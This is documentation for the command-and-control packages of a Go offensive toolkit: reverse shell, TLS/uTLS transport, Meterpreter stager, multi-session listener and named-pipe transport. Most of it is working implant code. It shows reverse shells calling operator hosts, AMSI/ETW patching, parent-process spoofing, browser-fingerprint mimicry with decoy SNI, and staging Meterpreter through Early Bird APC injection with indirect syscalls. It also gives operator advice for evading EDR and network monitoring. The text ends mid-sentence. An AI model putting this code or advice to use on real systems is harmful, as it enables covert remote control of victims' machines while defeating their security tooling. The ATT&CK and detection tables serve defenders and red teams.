The c2/* package tree is the implant's outbound communication layer
plus the operator's listener side. Six sub-packages compose into a
complete reverse-shell / staging / multi-session stack:
flowchart LR
subgraph implant [Implant side]
S[c2/shell<br>reverse shell]
M[c2/meterpreter<br>MSF stager]
end
subgraph wire [Wire]
T[c2/transport<br>TCP / TLS / uTLS]
NP[c2/transport/namedpipe<br>SMB pipes]
Cert[c2/cert<br>mTLS certs + pinning]
T -.uses.-> Cert
end
subgraph operator [Operator side]
MC[c2/multicat<br>multi-session listener]
end
S --> T
S --> NP
M --> T
T --> MC
NP --> MC
Where to start (novice path):
reverse-shell— the canonical "land a shell, react when it drops" loop. Most operators start and end here.transport— pick TCP / TLS / uTLS based on what defenders inspect (table at top of that page).namedpipe— for local IPC or SMB lateral movement when network egress isn't an option.meterpreter— when the engagement needs a full MSF session, not just a shell.multicat— operator-side listener when you have more than one agent. NEVER ship in implants.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
c2/shell | reverse-shell.md | noisy | reverse shell with PTY + auto-reconnect + AMSI/ETW evasion hooks |
c2/meterpreter | meterpreter.md | noisy | MSF stager (TCP / HTTP / HTTPS) with optional inject.Injector for stage delivery |
c2/transport | transport.md · malleable-profiles.md | moderate | pluggable TCP / TLS / uTLS + malleable HTTP profiles |
c2/transport/namedpipe | namedpipe.md | quiet | Windows named-pipe transport (local IPC + SMB lateral) |
c2/cert | transport.md | quiet | self-signed X.509 generation + SHA-256 fingerprint pinning |
c2/multicat | multicat.md | quiet | operator-side multi-session listener (BANNER protocol) |
Quick decision tree
| You want to… | Use |
|---|---|
| …land a reverse shell that survives drops | c2/shell.New + c2/transport |
| …blend C2 with browser TLS fingerprints | c2/transport uTLS profile (Chrome / Firefox / iOS Safari) |
| …pin the operator certificate against TLS-MITM | c2/cert.Fingerprint + transport PinSHA256 |
| …carry C2 over local IPC / SMB lateral | c2/transport/namedpipe |
…stage a Meterpreter session with inject middleware | c2/meterpreter + Config.Injector |
| …disguise HTTP traffic as jQuery CDN fetches | malleable-profiles.md |
| …host many simultaneous reverse-shell agents | c2/multicat on the operator box |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1071 | Application Layer Protocol | c2/transport (HTTP/TLS), c2/transport/namedpipe | D3-NTA |
| T1071.001 | Web Protocols | c2/transport (malleable), c2/meterpreter (HTTP/HTTPS) | D3-NTA |
| T1573 | Encrypted Channel | c2/transport (TLS) | D3-NTA |
| T1573.002 | Asymmetric Cryptography | c2/cert (mTLS) | D3-NTA |
| T1095 | Non-Application Layer Protocol | c2/transport (raw TCP) | D3-NTA |
| T1059 | Command and Scripting Interpreter | c2/shell | D3-PSA |
| T1571 | Non-Standard Port | c2/multicat | D3-NTA |
| T1021.002 | SMB/Admin Shares | c2/transport/namedpipe (cross-host) | D3-NTA |
See also
- Operator path: build a reliable shell
- Detection eng path: C2 telemetry
evasion— apply patches before the shell connects.useragent— pair with HTTP transports for realistic User-Agent headers.inject— stage execution surface forc2/meterpreter.
Reverse shell
TL;DR
Implant calls home over any c2/transport and pipes
a local interpreter (cmd.exe or /bin/sh) over the connection. The
loop reconnects on drop with configurable retry count and back-off
delay. Unix path allocates a PTY for full interactive use; Windows
path uses direct cmd.exe I/O and optionally patches AMSI / ETW /
CLM / WLDP + disables PowerShell history before the shell starts.
| You want… | Use | Notes |
|---|---|---|
| One-shot reverse shell over TCP/TLS/uTLS | Reverse | Blocks until interpreter exits or transport drops |
| Auto-reconnect loop | ReverseLoop | Retries N times with back-off; useful for long-running access |
| Spoof the spawn's parent process | Config.PPIDSpoofer (Windows) | See evasion/ppid-spoofing |
| Silence telemetry before shell starts | Config.PreShell = preset.Stealth() | Patches AMSI / ETW / CLM / WLDP — useful for PowerShell |
What this DOES achieve:
- Cross-platform. Windows uses
cmd.exe; Unix allocates a PTY for full readline / vi support. - Optional pre-shell evasion (Windows): silence AMSI + ETW, disable PowerShell history, opt out of WLDP — done before the shell launches so the operator's first command isn't the loud one.
- Composable transport — same shell code works over TCP / TLS /
uTLS based on
Config.Transport.
What this does NOT achieve:
- Not a beacon — this is a long-lived TCP/TLS pipe, not a
poll-based check-in. For sleep-mask / encrypted-page beacons,
build on top with
evasion/sleepmask. - No staging — the interpreter (
cmd.exe) is already on the target. For shellcode delivery / .NET assembly run, seepe/srdi+runtime/clr. cmd.exeis loud — process-creation event withcmd.exeparent = your implant fires every EDR's "command shell from non-shell process" rule. Use PPIDSpoofer + preset.Stealth to mute the worst signals; a real beacon stays cleaner.
Primer
Network firewalls typically allow outbound connections and block inbound ones, so a "reverse" shell calls out from the target to the operator. The operator runs a listener; the implant runs a short program that opens an outbound socket, fork-execs a local interpreter, and wires the interpreter's stdio to the socket.
Two common failure modes need explicit handling. Connections drop —
the package wraps the connect / pipe loop in an automatic reconnect
loop with configurable retry count and delay. Interpreter behaviour
on Windows differs from Unix — Unix needs a PTY for vim / top /
job control to work; Windows needs no PTY but does need careful
stdio handling. The package abstracts both differences behind a
single Shell type.
The Windows code path also exposes optional defence-patching: AMSI
disable (so PowerShell stages survive scanning), ETW patching (so
provider-based EDRs go quiet), CLM bypass (Constrained Language Mode
restrictions disabled), WLDP patching (Windows Lockdown Policy
relaxed), and PowerShell history disable (so Get-History
post-mortem returns nothing).
How it works
stateDiagram-v2
[*] --> Idle
Idle --> Connecting : Start(ctx)
Connecting --> Running : Connect OK
Connecting --> Backoff : Connect fail
Backoff --> Connecting : delay elapsed
Running --> Backoff : transport drop
Running --> Stopping : Stop()
Backoff --> Stopping : Stop()
Stopping --> [*] : Wait()
The Shell runs a strict state machine — Start is rejected on a
running shell; Stop is rejected on an idle one. Transitions are
mutex-guarded.
sequenceDiagram
participant Op as "Operator listener"
participant Imp as "Implant"
participant Sh as "Local interpreter"
loop until Stop or max retries
Imp->>Op: transport.Connect()
alt success
Imp->>Sh: spawn cmd.exe / /bin/sh (PTY on Unix)
Sh-->>Imp: stdio
par implant→operator
Imp->>Op: copy(stdin → socket)
and operator→implant
Op->>Imp: copy(socket → stdout)
end
Note over Imp: socket dropped<br>or Stop()
Imp->>Sh: kill child
else fail
Imp->>Imp: backoff(delay)
end
end
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/c2/shell is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
Composed (TLS + cert pin)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
const operatorPin = "AB:CD:..." // SHA-256
tr := transport.NewTLS("operator.example:8443", 10*time.Second, "", "",
transport.WithTLSPin(operatorPin))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
Advanced (defence patching + PPID spoof + uTLS)
import (
"context"
"os/exec"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
_ = shell.PatchDefenses()
spoof := shell.NewPPIDSpoofer()
if err := spoof.FindTargetProcess(); err == nil {
// The spoofer publishes a SysProcAttr the shell layer applies
// to the spawned cmd.exe.
_ = spoof
}
tr := transport.NewUTLS("operator.example:443", 10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint("AB:CD:..."))
cfg := shell.DefaultConfig()
cfg.MaxRetries = 100
cfg.RetryDelay = 30 * time.Second
sh := shell.New(tr, cfg)
_ = sh.Start(context.Background())
sh.Wait()
_ = exec.Command // silence unused import in extracted snippet
Complex (full chain — evade + spoof + uTLS + reconnect forever)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
_ = evasion.ApplyAll(preset.Stealth(), nil) // AMSI/ETW/CLM/WLDP/...
_ = shell.PatchDefenses() // belt + braces
tr := transport.NewUTLS("operator.example:443", 10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint("AB:CD:..."))
cfg := shell.DefaultConfig()
cfg.MaxRetries = 0 // 0 = unlimited
cfg.RetryDelay = 60 * time.Second
sh := shell.New(tr, cfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
_ = sh.Start(ctx)
sh.Wait()
See ExampleNew in
shell_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Outbound TCP from a non-network process | Sysmon Event 3, EDR egress hooks |
cmd.exe / powershell.exe child of an unusual parent | Sysmon Event 1 — pair with PPIDSpoofer to reshape |
| AMSI / ETW patch bytes in ntdll/amsi.dll | Memory scanners (Defender, MDE Live Response) |
| Beacon timing patterns | Behavioural NIDS — randomise RetryDelay jitter |
Long-lived cmd.exe with redirected stdio | Process-explorer anomaly |
D3FEND counters:
- D3-OCA — outbound-connection profiling.
- D3-PSA
—
cmd.exeparentage and command-line analysis. - D3-NTA — TLS handshake + content metadata.
Hardening for the operator: prefer uTLS over plain TLS; pair
PatchDefenses and PPID spoofing; randomise RetryDelay with
random.Duration; fold the shell into a longer-lived
host process that legitimately spawns command interpreters
(maintenance scripts, build agents).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | reverse-shell harness | D3-PSA |
| T1059.001 | PowerShell | when child is powershell.exe | D3-PSA |
| T1059.003 | Windows Command Shell | when child is cmd.exe | D3-PSA |
| T1059.004 | Unix Shell | Unix code path | D3-PSA |
Limitations
- Reverse shells are inherently noisy. No amount of jitter defeats a determined defender with full network visibility. Use uTLS + malleable profiles and accept that the shell is a short-lifetime tool.
PatchDefensesis best-effort. AMSI/ETW patches survive within the current process only. Spawned children inherit patched ntdll; re-spawned shells from a different host process do not.- PTY only on Unix. Windows lacks a true PTY — interactive
applications (
vim, full-screen TUIs) misbehave. - PPID spoof requires admin or specific process ACLs. Some targets refuse cross-session parent pinning even from elevated processes.
See also
- Transport — bytes-on-wire layer.
- Multicat — operator listener.
- Malleable profiles — HTTP-shaped variant.
evasion/preset— apply beforeStart.process/spoofparent— alternative PPID spoofing implementation outside the shell package.
Transport (TCP / TLS / uTLS)
TL;DR
Network layer behind every reverse shell, stager, or beacon. You pick the flavour based on what defenders inspect:
| You're up against… | Use | What it defeats |
|---|---|---|
| Plaintext payload signatures, port-watching IDS | TLS (Dial) | DPI sees encrypted bytes only |
| TLS-aware DPI matching server cert SHA-256 | TLS + cert pinning | MITM with a re-issued cert fails the pin check |
| JA3/JA4-based handshake fingerprinting (most modern EDR/proxies) | uTLS (UTLSConfig) | TLS ClientHello looks byte-for-byte like Chrome / Firefox / iOS Safari |
| Plaintext for testing only | TCP (TCPConfig) | Nothing — debug use only |
Pair with c2/cert
to generate the operator's mTLS material and pin it on the
implant side.
What this DOES achieve:
- Pluggable: every reverse shell / stager / beacon in maldev
takes a
transport.Configso the same payload flips between TCP / TLS / uTLS without recompiling. - JA3/JA4 cover via uTLS — the canonical "implant looks like a browser" technique. Burp / mitmproxy can't readily detect.
- Optional certificate pinning by SHA-256 fingerprint — catches attempted MITM even when the attacker gets a valid cert from a public CA.
What this does NOT achieve:
- Doesn't hide that an outbound connection happened —
netflow logs see "implant.exe → 1.2.3.4:443" regardless of
TLS. Pair with
evasion/preset.Stealthto silence ETW network providers from this process. - uTLS fingerprint freshness — Chrome / Firefox update their ClientHello frequently; an old uTLS preset becomes its own fingerprint. Bump go-utls when shipping fresh campaigns.
- No domain fronting / no CDN routing — operator infra is whatever IP the implant connects to. For domain fronting, use a CDN that supports SNI rewrite outside this package.
Primer
Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.
This package addresses both. The TLS transport handles encryption
plus optional certificate pinning — the implant refuses to talk to
anyone whose certificate hash does not match a hard-coded value, so
any TLS-inspection middlebox that re-signs traffic with a corporate
CA is dropped. The UTLS transport replaces Go's TLS handshake with
refraction-networking/utls,
which mimics real browser ClientHello bytes — the network monitor sees
"Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint
ClientHello".
How it works
flowchart TD
Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
TCP --> Wire((wire))
TLS --> Wire
UT --> Wire
Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]
All transports implement the same five-method Transport interface:
type Transport interface {
Connect(ctx context.Context) error
Read(p []byte) (int, error)
Write(p []byte) (int, error)
Close() error
RemoteAddr() net.Addr
}
The Listener interface is the operator-side counterpart, used by
c2/multicat to accept agents.
TLS fingerprint pinning
sequenceDiagram
participant Imp as "Implant"
participant MITM as "TLS-inspection proxy"
participant Op as "Operator handler"
Imp->>MITM: ClientHello
MITM->>Op: ClientHello (re-originated)
Op-->>MITM: ServerHello + cert (operator)
MITM-->>Imp: ServerHello + cert (proxy CA-signed)
Imp->>Imp: verifyFingerprint(cert) → mismatch
Imp->>MITM: TLS abort
Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS
variant) holds the operator's certificate hash. The implant rejects
any certificate whose hash does not match — even if the corporate
TLS-inspection CA is in the system trust store.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/c2/transport is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
Plain TCP for a localhost or already-tunnelled scenario:
tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
return err
}
_, _ = tr.Write([]byte("hello"))
Composed (TLS + cert pin)
Operator generates a cert and computes its fingerprint:
import "github.com/oioio-space/maldev/c2/cert"
_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant
Implant pins it:
tr := transport.NewTLS(
"operator.example:8443",
10*time.Second,
"", "", // no client cert
transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())
Any TLS-inspection proxy that re-signs the certificate fails the pin check.
Advanced (uTLS with Chrome JA3 + SNI)
tr := transport.NewUTLS(
"operator.example:443",
10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())
Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.
Complex (full stack: cert + uTLS + shell + evasion)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
const operatorPin = "AB:CD:..." // SHA-256 hex
_ = evasion.ApplyAll(preset.Stealth(), nil)
tr := transport.NewUTLS(
"operator.example:443",
10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint(operatorPin),
)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Go-fingerprint TLS ClientHello (JA3) | Zeek ssl.log, JA3-aware NIDS — bypass with NewUTLS + WithJA3Profile |
| Self-signed certificate without trusted chain | Network DLP / TLS-inspection logs — bypass by signing through a real CA on the operator side, or accepting the self-signed flag and pinning |
| Unusual SNI / no SNI | Modern NIDS flag absent or randomised SNIs — set WithSNI to a plausible CDN host |
| Certificate-pin failure on re-signed traffic | This is the desired outcome on the implant side — but the abrupt connection drop is itself a signal |
| Beacon timing / response sizes | Behavioural NIDS clusters periodic short connections — randomise jitter at the shell layer |
D3FEND counters:
- D3-NTA — JA3 / SNI / cert-property correlation.
- D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
- D3-NTPM — egress proxy enforcement.
Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071 | Application Layer Protocol | TLS / uTLS / malleable HTTP | D3-NTA |
| T1573 | Encrypted Channel | TLS family | D3-NTA |
| T1573.002 | Asymmetric Cryptography | mTLS via c2/cert | D3-NTA |
| T1095 | Non-Application Layer Protocol | raw TCP | D3-NTA |
Limitations
- Pin must travel with the implant. A hard-coded SHA-256 in the
binary is recoverable by static analysis. Prefer build-time
injection via
//go:embedfrom a per-campaign cert. - uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
- JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
- Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.
See also
- Reverse shell — primary consumer of the transport layer.
- Meterpreter — pulls stages over
Transport. - Malleable profiles — HTTP-shaped variant on top of any transport.
- Named pipe — local IPC alternative on Windows.
useragent— pair with HTTP transports for realistic User-Agent headers.- refraction-networking/utls
— upstream of
NewUTLS.
Meterpreter stager
TL;DR
You want a Meterpreter session on the target without shipping
the full Meterpreter binary (hundreds of KB, signature-rich).
The classical pattern: a tiny stager pulls the second
stage from your MSF multi/handler over the network and
executes it in-process.
| You want… | Use | Notes |
|---|---|---|
| Self-inject the stage in current process | meterpreter.Run (default — no Config.Injector) | Simplest. Stage runs as your implant's process. |
| Inject the stage into a sacrificial child | Config.Injector = inject.NewWindowsInjector(...) with Early Bird APC etc. | Survives implant exit. Spoof PPID + args for cover. |
| Linux target | meterpreter.Run | ELF wrapper needs the live socket fd; Config.Injector is rejected on Linux. |
Transport options: TCP, HTTP, HTTPS, all routed through
c2/transport (so you get TLS pinning, uTLS,
etc. for free).
What this DOES achieve:
- Operator gets a full MSF session — file ops, port forwarding, privilege escalation modules, the lot.
- Stager is small enough to fit in a Donut shellcode payload
or any
inject.*flow. - Cross-platform — same Go code stages on Windows / Linux.
What this does NOT achieve:
- Doesn't hide that you're staging Meterpreter — once the
stage is in memory,
MZheader + ReflectiveLoader byte signature flag every memory scanner. Pair withevasion/sleepmaskso the bytes hide between callbacks. - No automatic OPSEC for MSF traffic — the second stage is
Meterpreter as-is. Defenders running detection on its
protocol see standard MSF traffic. Use
malleable-profilesto wrap HTTP staging only; the post-stage protocol is what MSF speaks. - Network requirement — needs egress to your handler. For
air-gapped or fully-offline ops, build a custom payload
with
pe/srdiinstead.
Primer
Metasploit's Meterpreter is the canonical post-exploitation toolkit. It is too big to embed (~hundreds of KB), so attacks split it in two: a stager small enough to fit in a shellcode payload or a Go binary, and a stage (the full Meterpreter DLL or ELF) fetched at runtime over the network. The stager opens a connection to the handler, reads the stage as raw bytes, copies it into executable memory, and jumps to the entry point.
Two parts of that flow are worth abstracting. First, the fetch
is identical across Meterpreter implementations — connect, read four
length bytes, read the stage, hand the buffer to the executor.
Second, the execute is the most variable: a real engagement uses
the inject package's full surface (Early Bird APC, indirect syscalls,
XOR encoding, CPU delay) to defeat host-side telemetry. The package
exposes a clean Config.Injector knob so the same stager works
across stealth tiers.
The HTTP / HTTPS variants implement Metasploit's URI-checksum format
expected by the handler (/<8 random chars> with a checksum byte).
HTTPS supports InsecureSkipVerify for self-signed handlers and a
configurable timeout.
How it works
sequenceDiagram
participant Imp as "Implant (Stager)"
participant H as "MSF multi/handler"
Imp->>H: connect (TCP / HTTP GET / HTTPS GET)
H-->>Imp: stage length (4 bytes)
Imp->>H: read stage
H-->>Imp: stage bytes (~200 KB DLL or ELF)
alt Config.Injector set (Windows)
Imp->>Imp: inj.Inject(stage)
else default self-injection
Imp->>Imp: VirtualAlloc(RW) + RtlMoveMemory(stage)
Imp->>Imp: VirtualProtect(RX) + CreateThread
end
Note over Imp: Meterpreter session live on the same TCP / HTTPS connection
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/c2/meterpreter is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/meterpreter"
)
cfg := &meterpreter.Config{
Transport: meterpreter.TCP,
Host: "192.168.1.10",
Port: "4444",
Timeout: 30 * time.Second,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
Composed (HTTPS + InsecureSkipVerify)
cfg := &meterpreter.Config{
Transport: meterpreter.HTTPS,
Host: "operator.example",
Port: "8443",
Timeout: 30 * time.Second,
TLSInsecure: true,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
Advanced (custom injector — Early Bird APC + indirect syscalls + XOR)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/meterpreter"
"github.com/oioio-space/maldev/inject"
)
inj, _ := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\notepad.exe`).
IndirectSyscalls().
WithFallback().
Use(inject.WithXORKey(0x41)).
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 10_000_000})).
Create()
cfg := &meterpreter.Config{
Transport: meterpreter.TCP,
Host: "192.168.1.10",
Port: "4444",
Timeout: 30 * time.Second,
Injector: inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
Complex (remote inject into existing PID + HTTPS staging)
import "github.com/oioio-space/maldev/inject"
inj, _ := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(1234).
IndirectSyscalls().
WithFallback().
Create()
cfg := &meterpreter.Config{
Transport: meterpreter.HTTPS,
Host: "operator.example",
Port: "8443",
Timeout: 30 * time.Second,
TLSInsecure: true,
Injector: inj,
}
_ = meterpreter.NewStager(cfg).Stage(context.Background())
See ExampleNewStager in
meterpreter_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Meterpreter wire format | Snort / Suricata signatures match all three transport types out of the box |
MSF URI checksum pattern (/<8 chars> GET) | NIDS hunt rules |
| Stage in-memory after decrypt | Defender / MDE memory scan — Meterpreter's reflective DLL has known signatures |
CreateThread at a non-image start address | Kernel thread-create callback — defeated by switching to MethodEarlyBirdAPC or similar via Config.Injector |
D3FEND counters:
Hardening for the operator: always set Config.Injector for
Windows engagements; combine with c2/transport uTLS + cert pinning;
use a payload encryptor (Veil, ScareCrow, or crypto.EncryptAESGCM
on a custom stage) so the in-memory bytes do not match Meterpreter's
public reflective-DLL signature.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | post-stage Meterpreter shell | D3-PSA |
| T1055 | Process Injection | when Config.Injector is set | D3-PSA |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTP/HTTPS variants | D3-NTA |
| T1095 | Non-Application Layer Protocol | TCP variant | D3-NTA |
Limitations
- Linux Injector unsupported. The ELF wrapper protocol needs the
live socket fd;
Stagereturns an error ifcfg.Injector != nilon Linux. - Public stage signatures. Defender, CrowdStrike, and SentinelOne
fingerprint the unmodified Meterpreter reflective DLL. Custom-built
stages (or
crypto-wrapped stages your handler decrypts) are required against modern AV. - Self-injection default is loud.
VirtualAlloc + CreateThreadis the textbook process-injection chain. Always setConfig.Injectoragainst any non-trivial defender. - Single connection. No reconnect logic — if the stage download
fails, the stager exits. Wrap in a higher-level retry loop or use
c2/shellwith a custom protocol if reconnect is needed.
See also
- Transport — pluggable wire layer alternative.
inject— primaryConfig.Injectorsource.- Reverse shell — when full Meterpreter is overkill.
- HD Moore et al., Metasploit Unleashed: Meterpreter — primer on the protocol.
Multicat — multi-session listener
TL;DR
Operator-side counterpart to c2/shell. One Listener, many
concurrent agents. Each inbound connection gets a sequential session
ID, optional BANNER-encoded hostname metadata, and a lifecycle event
(EventOpened / EventClosed) on the manager's channel. Sessions
are in-memory only — they do not survive a manager restart. Never
embedded in the implant.
| You want to… | Use | Notes |
|---|---|---|
| Accept multiple incoming reverse-shell agents | Manager.Serve | Wraps any c2/transport listener. Single port, many sessions. |
| React to agent connect/disconnect events | Manager.Events() channel | EventOpened{ID, Hostname} + EventClosed{ID} |
| Send commands to a specific session | Manager.Session(id).Write(...) | Per-session R/W; the operator picks who runs what |
| Persist sessions across restart | Not supported | Wrap Manager with your own state file; in-memory by design |
⚠ Operator-side only: this is the listener that runs on
your C2 box. NEVER include c2/multicat in implant builds —
it would create a listener on the target.
What this DOES achieve:
- Replaces
nc -lvpfor ops with more than one host. - Same transport flexibility as the implant side: TCP / TLS / uTLS / named pipes (when you receive over an SMB pipe) all work.
- Optional
BANNER:<hostname>\nhello so the operator's UI can label sessions ("dc01" / "ws-finance-3") instead of192.168.1.5:34521.
What this does NOT achieve:
- Not a TUI / UI — it's a manager library. Build your own CLI / web UI on top using the events channel.
- No persistence — manager restart = all sessions lost.
Implants reconnect on drop (
c2/shell.ReverseLoop), so sessions reappear quickly under their new IDs. - No authentication — first connection in is session 1, no
shared-secret check. Pair the transport with
c2/transportcert pinning + mTLS to gate access.
Primer
Engagements with more than one host quickly outgrow a single nc -lvp 4444. Multicat is a thin manager that owns one transport Listener,
accepts every incoming agent, assigns a session ID, optionally reads
a BANNER:<hostname>\n hello line, and emits a typed event so an
operator UI (TUI, web dashboard, anything) can render an arrival /
departure stream.
The wire protocol is intentionally tiny: when an agent connects,
multicat reads the first line with a 500 ms deadline. If the line
matches BANNER:<hostname>\n, it populates SessionMetadata.Hostname.
All other bytes are part of the normal shell I/O stream and pass
through. Agents that do not implement BANNER are unaffected.
The package never runs on a target — it is operator infrastructure. That keeps the detection surface zero.
How it works
sequenceDiagram
participant Agent as "Implant (c2/shell)"
participant Mgr as "multicat.Manager"
participant Op as "Operator UI"
Agent->>Mgr: Connect (transport)
Mgr->>Mgr: assign session ID
Mgr->>Agent: read first line (500ms deadline)
Agent-->>Mgr: BANNER:lab-host-01\n (optional)
Mgr->>Op: Event{Type: EventOpened, Session: …}
Note over Agent,Mgr: full-duplex shell I/O
Agent->>Mgr: connection drop
Mgr->>Op: Event{Type: EventClosed, Session: …}
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/c2/multicat is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"context"
"fmt"
"github.com/oioio-space/maldev/c2/multicat"
"github.com/oioio-space/maldev/c2/transport"
)
ln, _ := transport.NewTCPListener(":4444")
mgr := multicat.New()
go func() { _ = mgr.Listen(context.Background(), ln) }()
for ev := range mgr.Events() {
if ev.Type == multicat.EventOpened {
fmt.Printf("[+] %s from %s\n", ev.Session.Meta.Hostname, ev.Session.Meta.RemoteAddr)
}
}
Composed (TLS listener + BANNER agents)
Operator side:
ln, _ := transport.NewTLSListener(":8443", "server.crt", "server.key")
mgr := multicat.New()
go mgr.Listen(context.Background(), ln)
Agent side (in c2/shell extension or custom code):
_, _ = conn.Write([]byte("BANNER:" + osHostname + "\n"))
Advanced (channel multiplexer routing into a TUI)
go func() {
for ev := range mgr.Events() {
switch ev.Type {
case multicat.EventOpened:
ui.Add(ev.Session)
case multicat.EventClosed:
ui.Remove(ev.Session.Meta.ID)
}
}
}()
Complex
The Manager does not own session selection or interactive
"foreground" semantics — that is the operator UI's job. See
cmd/rshell for a reference TUI.
See ExampleNew in
multicat_example_test.go.
OPSEC & Detection
This package never executes on a target. The only relevant signals are on the agent side (reverse-shell.md).
The operator-side listener is an inbound TCP / TLS port on the operator's box. Common operator-hygiene practices apply: bind on a private interface, front with a redirector (Apache rewrite, Cloudflare worker), put it behind a single jump host.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1571 | Non-Standard Port | listener typically binds a high non-standard port | D3-NTA |
Limitations
- In-memory state. Restarting the manager loses every session. Persist out-of-band (log file, database) if the engagement needs continuity.
- No interactive multiplexer. The package emits events; the
operator UI implements foreground selection, scroll-back, kill-on-
exit.
cmd/rshellis the reference TUI. - BANNER deadline is 500 ms. Lossy networks may miss the BANNER
line and treat the bytes as shell I/O. The agent should retry or
fall back to inline
BANNERonce authenticated. - No authentication.
multicataccepts whoever the listener hands it. For mTLS, configure on the listener (c2/cert).
See also
- Reverse shell — agent counterpart.
- Transport — listener factories
(
NewTCPListener,NewTLSListener). cmd/rshell— reference TUI built on multicat.
Named-pipe transport
TL;DR
Windows named-pipe implementation of the
c2/transport Transport and Listener interfaces.
Lets implants beacon over local IPC (no socket, no firewall, no
NIDS visibility) or over SMB to another host (lateral C2 routed
through the file-share redirector). Pipe traffic is the textbook
example of "looks like normal Windows".
| You want… | Pipe path | Crosses host? |
|---|---|---|
| Local IPC C2 (parent ↔ child, two implants on same host) | \\.\pipe\xxx | No — kernel-only. Invisible to NIDS / netflow. |
| Lateral C2 from one host to another over SMB | \\target-host\pipe\xxx | Yes — over SMB to the target. Looks like normal Windows file-share traffic. |
| Long-running listener on the agent host | Listen | One server pipe; accepts multiple connections sequentially or via reconnect-on-drop |
What this DOES achieve:
- Local-IPC C2 has zero network footprint — netflow, firewall, NIDS see nothing. Defender memory-scan or process-tree analysis is the only path that catches it.
- SMB pipe lateral C2 blends into normal Windows file-share
traffic. Networks that allow
